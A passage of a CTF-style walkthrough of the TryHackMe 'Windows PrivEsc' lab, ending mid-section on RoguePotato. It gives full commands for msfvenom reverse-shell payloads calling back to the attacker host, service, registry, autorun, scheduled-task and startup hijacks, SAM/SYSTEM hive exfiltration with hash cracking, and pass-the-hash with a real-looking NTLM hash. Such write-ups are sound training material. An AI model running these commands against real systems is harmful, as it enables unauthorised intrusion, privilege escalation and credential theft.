---
# System prepended metadata

title: Windows PrivEsc
tags: [simpleCTF, ctf, writeups, writeup, ctfs, tryhackme, walkthrough, CTF]

---

# THM - Windows PrivEsc

![482375747-82f1df6e-1dca-4555-bfea-af1faf6f0869](https://hackmd.io/_uploads/HJysWiaclx.png)



:::danger


<details>
  <summary>Generate a Reverse Shell Executable</summary>

## 1. first Create **`Reverse Shell file`** on my kali device

```ruby
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f exe -o reverse.exe
```

- **`msfvenom`** : Tool from Metasploit used to generate payloads.
- **`-p windows/x64/shell_reverse_tcp`** : Reverse shell type
- **`LHOST`** : Device IP that will recive the shell in this case will be my kali machine
- **`LPORT`** : port that shell will connect to it on kali
- **`-f exe`** : output file type `exe`
- **`-o reverse.exe`** : put the output in file call ``reverse.exe``

## 2. send reverse sell to windows

**`on kali Device open smb servrice on directory that have reverseshell file`**

```ruby
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .
```

- **`kali`** : name share
- **`.`** : files that will avilable in the share here in current Directory

**`on Windows Device`**

```ruby
copy \\10.8.47.102\kali\reverse.exe C:\PrivEsc\reverse.exe
```

- copy file from kali machine to windows


---





![486958249-0fb8c918-0b43-445d-81ce-ba68f457888f](https://hackmd.io/_uploads/ByMbXsp5eg.png)


![486953644-dce924e7-a87f-4dff-af42-349654bc9647](https://hackmd.io/_uploads/By_rQja5xx.png)



- **`that is mean file is copied to windows`**

---

### **`now run the reverse file on windows with lesten on port 4444 on kali`**

![486954193-6c150d81-145e-4b5f-b16d-8985d3ffaf89](https://hackmd.io/_uploads/SyC4Ns6qlx.png)


- **`here we go we receved the shell `**


  
</details>

:::

___

:::success




<details>
  <summary>Service Exploits</summary>










- <details>
      <summary>Insecure Service Permissions</summary>

  
  > ### Goal is prevEsc form normal user to `SYSTEM privileges` by **`daclsvc`** service 
  
  ## 1. first check the privilages of current user on this service ``(daclsvc)``
  
  ```ruby
  C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc
  ```
  
  - **`accesschk.exe`** : This is Tool form _Sysinternals_ to check on privilege of current user on (files, folders, etc...)
  - **`/accepteula`** : this option to pybaass the first priv window
  - **`-uwcqv`** : options
    - **`u`** : user account
    - **`w`** : writeing privileges
    - **`c`** : change `config` privileges
    - **`q`** : `quiet` to make it simple
    - **`v`** : `verbose` for more details
  - **`user`** : username of current user
  - **`daclsvc`** : service name
      
  
  ---
  
     ![486965898-c8ab3ba2-ad0a-4c86-99e3-ace3b7ce30fb](https://hackmd.io/_uploads/SJNtVsT5gx.png)

  
  ### - **`Found that user have`** :
  
  ```ruby
  SERVICE_CHANGE_CONFIG
  ```
  ### - ``Thats mean this user can change settings of this service``
  
  
  ---
  
  ## 2. now we want to know privileges of the current service
  
  ```ruby
  sc qc daclsvc
  ```
  
  - **`sc qc`** : query config for service
  - **`daclsvc`** : name of the service
  
  ---
  
     ![486968791-abec5e68-4f0c-439c-933e-79bc3f289979](https://hackmd.io/_uploads/SkRqEoTcgl.png)

  
  ### - we found :
  
  - **`SERVICE_START_NAME`** : the account that this service work with it
  - **`LocalSystem`** : that is mean if we run this service any program will run as **`SYSTEM`**
  
  
  
  ---
  
  > ### NOW WE know that :
  > - this service can work as **`SYSTEM`**
  > - current user can edit this service settings **`SERVICE_CHANGE_CONFIG`**
  
  
  ## 3. change the path of this service to path of our reverse shell that will send shell to kali with **`SYSTEM`** privileges : 
  
  ```ruby
  sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""
  ```
  
  - **`sc config`** : change service settings
  - **`binpath=`** : the new path to that service will run it
  - **`\"C:\PrivEsc\reverse.exe\`** : reverse shell that we sent it before
  
  
  ### **`lesten on port 4444 on kali`**
  
  ### **`run the service`**
  
  ![486980990-ad7a133f-2592-45ba-9083-47dfb2ed716b](https://hackmd.io/_uploads/HywDBip5gx.png)

  
  ---
  
  ## receved the shell :
  
  ![486981586-7d36208c-ce01-4047-9eaf-04c855830e50](https://hackmd.io/_uploads/HJLuBs69gg.png)

  
  ---
  
  ## see that we now **`SYSTEM`** user
  
  ```ruby
  whoami
  ```
  
  ![486982832-64e23bed-3b42-4219-8714-a256a4f0db96](https://hackmd.io/_uploads/HymYHjpcge.png)

  
  <details>
    <summary>more commands</summary>
  
  
  ## to see our privilleges
  
  ```ruby
  whoami /priv
  ```
  ![486983314-a65ceb03-b5b5-4c09-a2fc-a2214f0ef8fc](https://hackmd.io/_uploads/Hks5rjT5ll.png)

  
  
  ## see the groups that i'm in : 
  
  ```ruby
  whoami /groups
  ```
  
  ![486983674-c2689996-2809-4a2d-bec0-9508e3c0a142](https://hackmd.io/_uploads/r1osHoTqeg.png)

  
  ```ruby
  systeminfo
  ```
  ![486984034-1ec7bb31-9838-41fd-8872-ffe6e0b1d56c](https://hackmd.io/_uploads/H1q2ro6clx.png)

  
  
  ## to show all env variables: 
  
  ```ruby
  set
  ```
  
  ![486984387-5a9fa26d-e836-4fe0-9ada-2372d7e46a96](https://hackmd.io/_uploads/SJopBipqlg.png)

  
  
    
  </details>
  
  
  > ## now the answer of the question :
  > What is the original BINARY_PATH_NAME of the daclsvc service?
  
  ```ruby
  sc qc daclsvc
  ```
  
  ![486968791-abec5e68-4f0c-439c-933e-79bc3f289979](https://hackmd.io/_uploads/HJgxlIspcxl.png)

  
  **`answer`**
  
  ```ruby
  C:\Program Files\DACL Service\daclservice.exe
  ```
  


  </details>













- <details>
      <summary>Unquoted Service Path</summary>

     
     
     > ## in windows each service has :
     > - **`BINARY_PATH_NAME`** : THE path with refer to the place that have **`exe`** that this service will run it
     >   - if it's value writen without ``"..."`` that mean we can exploit it
     
     
     ---
     
     ## 1. first get info about the service (unquotedsvc)
     
     ```ruby
     sc qc unquotedsvc
     ```
     
     ## - found two important things
     
     > - **`SERVICE_START_NAME : LocalSystem`** : that is mean this service work as **`SYSTEM`**
     > - **`BINARY_PATH_NAME        : C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe`**
     >>  - IT without ``"..."``
     
     
     ![487039630-888cae7d-e707-4a32-bf40-02b668d079b5](https://hackmd.io/_uploads/HkcWUj69xl.png)

     
     ---
     
     ## 2. TRY To know the privilege of current user on this path
     
     ```ruby
     C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
     ```
     
     ## - **`RW BUILTIN\Users`** : that is mean any normal user can do read and write in this folder
     
     
     ![487041319-418384ed-aeff-4838-91b8-966a9933ba4d](https://hackmd.io/_uploads/S1hz8sp5ee.png)

     
     
     ---
     
     ## 3. move the reverse shell file to the new path with new name 
     
     
     ```ruby
     copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
     ```
     
     ![487043539-28249e57-c476-4664-b89f-7b136ef20544](https://hackmd.io/_uploads/SyJH8sa5xx.png)

     
     
     
     ## 4. open listener on kali
     
     ```ruby
     sudo nc -nvlp 4444
     ```
     
     ## 5. run the service 
     
     ```ruby
     net start unquotedsvc
     ```
     
     ![487043806-5b8eaba2-2421-4e4d-9d67-96e604910b74](https://hackmd.io/_uploads/rkc9Ls65gg.png)

     
     ---
     
     ![487044009-c25163f8-d4d4-4446-94b9-6398e62bcc7d](https://hackmd.io/_uploads/Syqj8jT9xl.png)

     



  </details>















- <details>
      <summary> Weak Registry Permissions</summary>

     
     
     > ## in windows each service has settings stored in `Registry` like:
     > - **`SERVICE_START_NAME`** : who run the service
     > - **`BINARY_PATH_NAME`** : the excutable file that run when this service run
     
     
     ## 1. first get info about the service (regsvc):
     
     ```ruby
     sc qc regsvc
     ```
     
     ```c
       BINARY_PATH_NAME   : "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe"
       SERVICE_START_NAME : LocalSystem
     ```
     
     
     ![487061830-5019fb82-41c1-45f7-8983-dcd88310af44](https://hackmd.io/_uploads/ByGpLsTqlg.png)

     
     
     ## 2. check the privilege of this user to wirte on **`Registry`**
     
     ```ruby
     C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
     ```
     
     ```perl
     RW NT AUTHORITY\INTERACTIVE
           KEY_ALL_ACCESS
     ```
     
     ### - `that is mean any user have access to write on registry key of this service`
     
     ![487063829-88afff65-8a8a-4eaf-b3ad-ddc0cfedfbe0](https://hackmd.io/_uploads/S1G0UiTqle.png)

     
     
     
     
     ## 3. edit Registry value and make it refer to our reverseshell file
     
     ```ruby
     reg add HKLM\SYSTEM\CurrentControlSet\Services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
     ```
     
     - **`/v ImagePath`** : It determines that we change this particular value.
     - **`/t REG_EXPAND_SZ`** : Value type (String extended).
     - **`/d C:\PrivEsc\reverse.exe`** : New data (new path).
     - **`/f`** : (to not ask you for confirmation).
      
     
     ## 4. open Listener on kali
     
     ```ruby
     nc -nvlp 4444
     ```
     
     
     ## 5. run the service
     
     ```ruby
     net start regsvc
     ```
     
     
     ![487067850-0ae50a32-d149-46f3-98a6-4e17d9175224](https://hackmd.io/_uploads/SynywsT9ll.png)

     


  






  </details>














- <details>
      <summary>Insecure Service Executables</summary>

     
     ## 1. Query the service configuration
     
     ```ruby
     sc qc filepermsvc
     ```
     
     - **`sc`** : `(Service Control)` Tool in windows
     - **`qc`** : `(Query Configuration)` to get service settings
     
     ---
     
     ```ruby
             BINARY_PATH_NAME   : "C:\Program Files\File Permissions Service\filepermservice.exe"
             SERVICE_START_NAME : LocalSystem
     ```
     
     
     ![487272245-8def86f3-a0a7-4c06-9e67-bd75f5a2f2ba](https://hackmd.io/_uploads/rJ5MDsTcll.png)

     
     ---
     
     ## 2. Check file permissions with accesschk
     
     ```ruby
     C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"
     ```
     
     - **`accesschk.exe`** : Tool from _Sysinternals_
     - **`/accepteula`** : It means "I agree to the user agreement" (required the first time).
     - **`-quvw`**
        - **`q`** : quiet
        - **`u`** : show user-specific permissions
        - **`v`** : `verbose` More detail
        - **`w`** : It focuses on write permissions (who has the authority to write to the file).
     - **`"C:\Program Files\File Permissions Service\filepermservice.exe"`** : The file whose permissions we want to see.
     
     ---
     
     ```ruby
      RW Everyone
             FILE_ALL_ACCESS
     ```
     
     ### - `🚨 that is mean every one on this system They have almost all the permissions on the file (read, write, modify, delete...).`
     
     
     
     ![487275058-71ec6c24-5cf3-4433-91dd-595bb89f31d8](https://hackmd.io/_uploads/S1zVwi6cgl.png)

     
     
     
     ## 3. Replace the service binary
     
     
     ```ruby
     copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y
     ```
     
     - **`copy`** : File copy command.
     - **`C:\PrivEsc\reverse.exe`** : The reverse shell we created (our malicious file).
     - **`"C:\Program Files\File Permissions Service\filepermservice.exe"`** : The original file of the service.
     - **`/Y`** : He lets the copying happen without asking you, “Are you sure you want to overwrite?”
     
     
     ![487277289-549d2f3a-bbfa-478d-8937-8b2065bd3199](https://hackmd.io/_uploads/H1xBwoacex.png)

     
     
     ## 4. Start listener on Kali
     
     ```ruby
     nc -lvnp 4444
     ```
     
     ## 5. Start the service
     
     ```ruby
     net start filepermsvc
     ```
     
     - **`net`** : A Windows tool for managing networks and services.
     - **`start`** : Service run command.
     - **`filepermsvc`** : service name
     
     
     ![487278755-9898c0ad-670a-4870-aa16-862b6406cdb2](https://hackmd.io/_uploads/S1ILDi6cee.png)

     
     



  </details>
  



  
</details>












<details>
  <summary>Registry</summary>
  
  
 

- <details>
     <summary>AutoRuns</summary>

     
     
     ## 1. Query the registry for AutoRun executables
     
     ```ruby
     reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
     ```
     
     - **`reg`** : A tool for managing the registry in Windows (query, add, delete...).
     - **`query`** : It means "View the contents of the key" (read only).
     - **`HKLM`** : HKEY_LOCAL_MACHINE shortcut (part of the registry that stores system settings for all users).
     - **`SOFTWARE\Microsoft\Windows\CurrentVersion\Run`** : The key that stores programs that start automatically when the system starts (Autoruns).
     
     
     ![487453089-16f69e3c-fea4-4bb8-96e5-fefde26211f3](https://hackmd.io/_uploads/HkW3vZ09gg.png)

     
     ```ruby
           "C:\Program Files\Autorun Program\program.exe"
     ```
     
     
     > ---
     > ### 📌 _The goal is to see which programs start automatically with every restart or login._
     > ---
     
     ## 2. Check file permissions with AccessChk
     
     
     ```ruby
     C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"
     ```
     
     - **`accesschk.exe`** : Tool from _Sysinternals_
     - **`/accepteula`** : It means "I agree to the user agreement" (required the first time).
          - **`-uvw`**
             - **`u`** : show user-specific permissions
             - **`v`** : `verbose` More detail
             - **`w`** : It focuses on write permissions (who has the authority to write to the file).
     - **`"C:\Program Files\Autorun Program\program.exe"`** : The executable file of the program that runs automatically.
     
     
     ![487455231-17076342-3a83-4c72-b480-87831a635f8d](https://hackmd.io/_uploads/S186wW05gx.png)

     
     ```ruby
      RW Everyone
             FILE_ALL_ACCESS
     ```
     
     
     > ---
     > ### 📌 _The goal → Check if this file is writable by any user (Everyone or BUILTIN\Users). If ah → this is a big weakness._
     > ---
     
     
     ## 3. Overwrite the AutoRun executable
     
     ```ruby
     copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y
     ```
     
     ![487457307-083692ef-67ad-4936-902c-7a9e67ff94e1](https://hackmd.io/_uploads/r1fzObRqle.png)

     
     
     > ---
     > ### 📌 _Goal → Replace the program that runs automatically (program.exe) with our reverse shell._
     > ---
     
     
     ## 4. Start a listener on Kali
     
     ```ruby
     nc -lvnp 4444
     ```
     
     
     ## 5. Open a new RDP session to trigger
     
     ```ruby
     rdesktop 10.10.110.227
     ```
     
     > login with 
     
     ```css
     admin : password123
     ```
     
     ![487462521-a961e489-b99d-4bc2-b54b-b2f3e9a001f8](https://hackmd.io/_uploads/H1KXdW09gx.png)

     
     ---
     
     ![487462985-28d8261b-470d-49f0-a6f4-fdf1f704b37a](https://hackmd.io/_uploads/r1rNu-A5xl.png)

     
     
     > ---
     > ### 📌 _Shell will return with the privileges of the user who loged in_
     > ---
     

  </details>
  
  
  
 
- <details>
     <summary>AlwaysInstallElevated</summary>

     
     ## 1. Query the registry for AlwaysInstallElevated keys
     
     ```ruby
     reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
     reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
     ```
     
     - **`reg`** : A tool for managing the registry in Windows (query, add, delete...).
     - **`query`** : It means "View the contents of the key" (read only).
     - **`HKLM`** : HKEY_LOCAL_MACHINE shortcut (part of the registry that stores system settings for all users).
     - **`HKCU`** : HKEY_CURRENT_USER shortcut (settings specific to the current user).
     - **`\SOFTWARE\Policies\Microsoft\Windows\Installer`** : Path to Windows Installer settings.
     - **`/v AlwaysInstallElevated`** : It means "Show me the value of the entry called `AlwaysInstallElevated`".
     
     
     > ---
     > ### 📌 _Goal → Make sure that the two keys are present and set to 1 `(0x1)` → if yes That is mean any ``MSI package`` can be installed with `SYSTEM privileges`._
     > ---
     
     
     ## 2. Generate malicious MSI with msfvenom (on Kali)
     
     
     ```ruby
     msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.47.102 LPORT=4444 -f msi -o reverse.msi
     ```
     
     - **`msfvenom`** : Tool from Metasploit used to generate payloads.
     - **`-p windows/x64/shell_reverse_tcp`** : Reverse shell type
     - **`LHOST`** : Device IP that will recive the shell in this case will be my kali machine
     - **`LPORT`** : port that shell will connect to it on kali
     - **`-f msi`** : output file type `msi`
     - **`-o reverse.msi`** : put the output in file call ``reverse.msi``
     
     
     > ---
     > ### 📌 _Goal → Create a malicious MSI file that opens Reverse Shell._
     > ---
     
     
     ## 3. Transfer the MSI to Windows
     
     **`on kali`**
     
     ```ruby
     impacket-smbserver frank . -smb2support
     ```
     
     **`on windows`**
     
     ```ruby
     copy \\10.10.10.10\frank\reverse.msi C:\PrivEsc\
     ```
     
     ## 4. Start a listener on Kali
     
     ```ruby
     nc -lvnp 4444
     ```
     
     
     ## 5. Run the malicious MSI on Windows
     
     ```ruby
     msiexec /quiet /qn /i C:\PrivEsc\reverse.msi
     ```
     
     - **`msiexec`** : Windows Installer (responsible for installing .msi).
     - **`/quiet`** : install program without any GUI or popups.
     - **`/qn`** : Same idea (Quiet with No UI).
     - **`/i`** : install package
     - **`C:\PrivEsc\reverse.msi`** : The file we want to install.
     
     > ---
     > ### 📌 _Goal → Since `AlwaysInstallElevated=1` in `HKLM and HKCU` → any MSI installed will be installed as SYSTEM.Therefore, our reverse shell runs directly with SYSTEM privileges._
     > ---
     
     
     
     
     



  </details>


  
  
  
  
  
 
  
  
</details>








<details>
  <summary>Passwords</summary>
  
  

- <details>
     <summary>Registry</summary>

     
     >[!note]
     > **`(For some reason sometimes the password does not get stored in the registry. If this is the case, use the following as the answer: password123)`**
     
     
     ## 1. Search for the word "password" in the registry
     
     ```ruby
     reg query HKLM /f password /t REG_SZ /s
     ```
     
     - **`reg`** : A tool for managing the registry in Windows (query, add, delete...).
     - **`query`** : It means "View the contents of the key" (read only).
     - **`HKLM`** : HKEY_LOCAL_MACHINE shortcut (part of the registry that stores system settings for all users).
     - **`/f password`** : /f means “filter” → Here we look for the text “password”.
     - **`/t REG_SZ`** : This means looking for values ​​of type string.
     - **`/s`** : `search recursively` (Searches all subkeys)
     
     
     > ---
     > ### 📌 _Goal → To see if anywhere in the registry there is a password stored in plain text._
     > ---
     
     
     ## 2. Search directly for AutoLogon key
     
     
     ```ruby
     reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
     ```
     
     - It goes directly to Winlogon key.
     - In some systems, this contains values ​​like:
        - **`DefaultUserName`**
        - **`DefaultPassword`**
        - **`AutoAdminLogon`** 
     
     > ---
     > ### 📌 _Goal → To access the stored admin username and password so that the system performs an automatic login._
     > ---
     
     
     ## 3. Executing a command on the system using Winexe
     
     ```ruby
     winexe -U 'admin%password' //10.10.194.107 cmd.exe
     ```
     
     - **`winexe`** : A tool that allows you to run commands on a Windows machine from a remote Linux machine (similar to PsExec).
     - **`-U 'admin%password'`** :
        - **`-U`** : user
        - **`'admin%password'`** : Here we specify the username and password in the form `username%password`.
          - **`Example`** : `'admin%password123'`.
     - **`cmd.exe`** : The program we want to run on the target device (here is the command prompt).
     
     
     > ---
     > ### 📌 _Goal → Command Prompt will open for you with Administrator privileges on the target device while you are running Kali._
     > ---
     



  </details>
  
  
  
  
  
  
  
  
  
  
  
  


- <details>
     <summary>Saved Creds</summary>
     
     ## 1. View stored Credentials
     
     ```ruby
     cmdkey /list
     ```
     
     - **`cmdkey`** : A built-in Windows tool for managing Stored Credentials.
     - **`/list`** : display all credentials Saved in the system.
     
     
     
    ![image](https://hackmd.io/_uploads/rkbHOkkoxl.png)

     
     > ---
     > ### 📌 _Goal → To see if there is a user (such as admin) stored with its password in the Windows Vault._
     > ---
     
     <details>
          <summary>Note</summary>
     
     >[!Note]
     > #### _**`Note that credentials for the "admin" user are saved. If they aren't, run the`**_
     > ```ruby
     > C:\PrivEsc\savecred.bat script
     > ```
     > to refresh the saved credentials.
     
     > ## ``savecred.bat`` → A script on the lap that forces the system to store the credential (usually owned by the admin).
     > Objective: Make sure that the credential is registered so that we can exploit it.
     
          
     </details>
     
     
     ## 2. run payload using saved credential
     
     ```ruby
     runas /savecred /user:admin C:\PrivEsc\reverse.exe
     ```
     
     - **`runas`** : Tool to run programs as different user
     - **`/savecred`** : It means use the credential stored in the system instead of asking you to enter the password.
     - **`/user:admin`** : Specify that you want to run the program as a user named admin.
     - **`C:\PrivEsc\reverse.exe`** : This is your payload (reverse shell).
     
     
     > ---
     > ### 📌 _Goal → Run reverse.exe with admin privileges without entering the password yourself → take a shell with higher privileges._
     > ---
     
     
     ## 3. open listener on kali
     
     ```ruby
     nc -nvlp 4444
     ```
     
     
     ![image](https://hackmd.io/_uploads/SkVEu1kixl.png)






  </details>

  
  
  






- <details>
     <summary>Security Account Manager (SAM)</summary>

     > ``The idea of ​​exploitation``
     > Windows stores user password hashes in a file called ``SAM`` (Security Account Manager).
     > But the SAM is encrypted, and the key to decrypt it is stored in the ``SYSTEM`` file.
     
     
     > ---
     > ### 📌 _The idea → If you find a backup copy of these files (such as ``C:\Windows\Repair\``), you can copy them and break the passwords._
     > ---
     
     
     ## 1. Transfer SAM and SYSTEM files to Kali
     
     ```ruby
     copy C:\Windows\Repair\SAM \\10.8.47.102\kali\
     copy C:\Windows\Repair\SYSTEM \\10.8.47.102\kali\
     ```
     
     > ---
     > ### 📌 _Goal → We take the hashes files and bring them to us so that we can work on them at our convenience._
     > ---
     
     
     ## 2. Download ``creddump7`` Tool
     
     
     ```ruby
     git clone https://github.com/Tib3rius/creddump7
     ```
     
     > Install the encryption library
     
     ```python
     pip3 install pycrypto
     ```
     
     - **`pip3`** : Python3 package manager.
     - **`install pycrypto`** : We install the `PyCrypto library`so that the tool can extract hashes form files.
     
     
     ## 3. Extracting hashes from files
     
     
     ```ruby
     python3 creddump7/pwdump.py SYSTEM SAM
     ```
     
     
     
     ## 4. Crack the hash using Hashcat
     
     
     ```ruby
     hashcat -m 1000 --force <hash> /usr/share/wordlists/rockyou.txt
     ```
     
     - **`hashcat`** : A powerful tool for cracking passwords.
     - **`-m 1000`** : It means the hash is of type NTLM.
     
     
     
     
     
     ## 5. Exploiting the password after it is broken
     
     
     ```ruby
     winexe -U 'admin%<password>' //10.10.10.10 cmd.exe
     
     Or
     
     rdesktop -u admin -p <password> 10.10.10.10
     ```
     
     
     





  </details>

  
  
  
- <details>
     <summary> Passing the Hash</summary>
     
     > ---
     > ### 📌 _The idea → Usually in attacks on Windows, when you have a hash instead of cracking the password, you can use a technique called Pass-the-Hash (PTH).
     > Idea: The hash is used directly for authentication instead of the actual password.
     
     > Why is this useful?
     
     > - Save time (you don't need to break the password).
     
     > - Some systems may prevent brute-force, but not the use of hash for authentication._
     > ---
     
     
     ```ruby
     pth-winexe -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //10.10.148.63 cmd.exe
     ```
     
     or 
     
     ```ruby
     python3 /usr/share/doc/python3-impacket/examples/smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da admin@10.10.148.63
     ```
     
     
     ![image](https://hackmd.io/_uploads/ry8pffkjge.png)

     ![image](https://hackmd.io/_uploads/H1bRGMkjgg.png)

     
     > `smbexec.py` uses the creation service on Windows to run the shell.
     
     > Any service that runs on Windows usually runs under `SYSTEM` privileges.
     
     > This means that even if the user you specified is admin, the `shell` that will open will be `SYSTEM` because it is the service on Windows that is running.
     
     > This is a great advantage because it gives you the highest powers over the system.
     
     
     
     | tool                  | Privileges         | method                                             |
     | --------------------- | ------------------ | -------------------------------------------------- |
     | `impacket smbexec.py` | SYSTEM             | You create a service and run a shell inside it     |
     | `pth-winexe`          | Admin              | Regular logon and shell execution in user session  |
     
     
     


  </details>



  
  
  
  
  
  
  
  
</details>














<details>
  <summary>Scheduled Tasks</summary>
  
  

- <details>
     <summary>Tip</summary>
     
     > ### This senireo from THM room and we know that the Scheduled task is **`C:\DevTools\CleanUp.ps1`**
     > but in real world how to know ??
     
     
     > - ### **`To view all Scheduled Tasks in system`**
     
     ## **`CMD`**
     
     ```ruby
     schtasks /query /fo LIST /v
     ```
     
     
     ## **`powershell`**
     
     ```ruby
     Get-ScheduledTask | Format-List *
     ```
     
     ## **`GUI`**
     
     ```ruby
     taskschd.msc
     ```
     
     -----
     
     > - ### **`To view all Scheduled Tasks that work as SYSTEM`**
     
     ## **`powershell`**
     
     ```ruby
     Get-ScheduledTask | Where-Object {$_.Principal.UserId -eq "SYSTEM"} | Format-List *
     ```
     
     ---
     
     > ## Where tasks files are stored in?
     
     ```ruby
     C:\Windows\System32\Tasks
     ```
     
     
     

  </details>



## 1. View the content of the PowerShell script

```ruby
type C:\DevTools\CleanUp.ps1
```

- **`type`** : A Windows command that displays the contents of any text file.
- **`C:\DevTools\CleanUp.ps1`** : This is a PowerShell Script file.

> Purpose: To understand what the script is doing (it may be deleting logs or cleaning folders).




![488006277-b94aed7f-ff74-4470-947c-f485eadd8d7b](https://hackmd.io/_uploads/H16mlP1jxx.png)



> ---
> ### 📌 _NOte → "The script seems to be running as SYSTEM every minute"_
> ---


## 2. Check file permissions


```ruby
C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1
```




> ---
> ### 📌 _Goal → Make sure that we can write (Write/Modify) to this script._
> ---

## 3. Adding a malicious line to the script

```ruby
echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1
```


> ---
> ### 📌 _Goal → o make the script run every time your program, reverse.exe, runs with it._
> ---

## 4. Open Listener on kali


```ruby
nc -nvlp 4444
```



![488008333-6061925d-c493-49c9-87e9-9d460e8f70e5](https://hackmd.io/_uploads/rkjZZv1jeg.png)



  
  
  
  
  
</details>










<details>
  <summary>Insecure GUI Apps</summary>


> ---
> ### After you enter RDP, you will find a shortcut named “AdminPaint” on your desktop.

> When you step on it, it launches the Paint program (mspaint.exe), but it is not normal → it starts using Administrator's Privileges.

> This means that you have a GUI (Paint) program running with higher privileges than you.
> 
> ---


## 1. Check privileges “AdminPaint” work with it 

```ruby
tasklist /V | findstr mspaint.exe
```

- **`tasklist /v`** : It displays all running processes in detail (PID, program name, which user runs it).
- **`| findstr mspaint.exe`** : Filter the results to only answer the Paint line.



![488019621-1f204b37-f268-4150-a7af-762d781a5ebf](https://hackmd.io/_uploads/SJPxYv1ilg.png)



## 2. Exploiting the Open Dialog

- Open Paint → from the menu press File → Open.

- You will receive a Dialog Box for opening files.

- Now, instead of writing an image name, you will write in the navigation bar:


```ruby
file://c:/windows/system32/cmd.exe
```
![488022098-98034852-152b-4282-aa77-cffec62130bc](https://hackmd.io/_uploads/HyIXtPJixl.png)



- click ``enter`` not **`open`** button

![488017625-1edb72c0-99e9-4b39-aa86-cfa71ebeff91](https://hackmd.io/_uploads/r1AXtvyjeg.png)

  
  
  
  
  
</details>







<details>
  <summary>Startup Apps</summary>
  
  


## 1. Check Startup directory permissions

```ruby
C:\PrivEsc\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
```

- **`-d`** : It means “Directory permissions” shows you who can read/write/delete in the folder.






> ---
> ### 📌 _Goal → If you find that the Users group has Write permission here, then any normal user can upload a file/Shortcut that will be executed automatically with any user (even the admin) running → Privilege Escalation._
> ---


## 2. Run vbs Script

```ruby
cscript C:\PrivEsc\CreateShortcut.vbs
```

- **`cscript`** : This is the command-line host for running VBScript (.vbs) files.
- **`C:\PrivEsc\CreateShortcut.vbs`** : the script that we want to run it


> this file when it run it make shortcut to **`C:\PrivEsc\reverse.exe`** and put it on **`startup`** directory


> ---
> ### 📌 _Goal → Instead of writing a shortcut manually, the script creates it automatically and places it in the correct place._
> ---



## 3. simulate an admin logon using RDP

```ruby
rdesktop -u admin 10.10.122.63
```

> here you login as admin just to simulate the attack, in real world the user who login shortcut will work you will take shell with it's privileges




## 4. open Listener on kali


```ruby
nc -lnvp 4444
```



  
  
  
</details>





<details>
  <summary>Token Impersonation</summary>





- <details>
      <summary>Rogue Potato</summary>
      
      
     
     
     > ## - In Windows, every process runs under a Security Token that determines its privileges.
     >    - Some services have high permissions, such as LOCAL SERVICE or SYSTEM.
     > ## - If you can "borrow" or "obtain" a token from a service that has high privileges, you can run your program with the same privileges.
     > ## - When you send ``reverse.exe`` to Windows, it is a simple program that attempts to make a reverse connection to the Kali machine.
     >    - If you run it as Admin, it will work with your current permissions. If you run it as a Local Service, it will run with less privileges.
     >>  ** `The goal: to gain an “entry point” into the system, regardless of the initial permissions.`**
     > ## **`PSExec`** is a tool from Sysinternals that allows you to run any program on any Windows machine, and even set the privileges of a specific user or service.
     > ## **`RoguePotato`** It is an Executable/Script that exploits a vulnerability in the Windows system.
     >> #### - **`Its function: Run any program on the device with SYSTEM privileges by exploiting Windows COM / Service Tokens.`**
     >>    -  In Windows, every service has a token that defines its permissions.
     >>    -  Some services have SYSTEM privileges.
     >>    -  RoguePotato exploits a weakness in permissions or COM objects that allows a normal process (such as a Local Service) to "borrow" the SYSTEM privileges service's Token.
     >>    -  After that, any program you run with this Token (such as reverse.exe) will run with SYSTEM privileges.
     
     
     ## 1. Run socat redirector on Kali
     
     ```ruby
     sudo socat tcp-listen:135,reuseaddr,fork tcp:MACHINE_IP:9999
     ```
     
     - **`socat`** : A program that allows us to create a redirect or proxy for communication between two sockets (TCP/UDP).
     - **`tcp-listen:135`** : Listen on port 135 in Kali.
        - `135` : is the RPC Endpoint Mapper port that Windows uses.
     - **`reuseaddr`** : It allows port reuse even if sessions are open.
     - **`fork`** : A fork is used for each new connection (meaning it can serve more than one connection).
     
     
     
     
     
     <details>
          <summary>why not netcat??</summary>
     
          
     ### When we use nc directly
          
     ```ruby
     nc -lnvp 9999
     ```
          
     - This is a normal listener on Kali that waits for any connection from Windows on port 9999.
     - Problem: In some scenarios, the exploit or reverse shell on Windows will not be able to connect directly to the listener, especially if:
       - The port that the original program is trying to open is not available (for example 135).
       - There is firewall or NAT blocking. 
          
     ---
          
     ### when we use socat redirector
          
     ```ruby
     sudo socat tcp-listen:135,reuseaddr,fork tcp:MACHINE_IP:9999
     ```
          
     - This does Port Forwarding / Redirector:
       - Any connection coming to Kali on port 135 will automatically switch to the listener on port 9999.
     - Advantages:
       - We can emulate or redirect any port required by exploit.
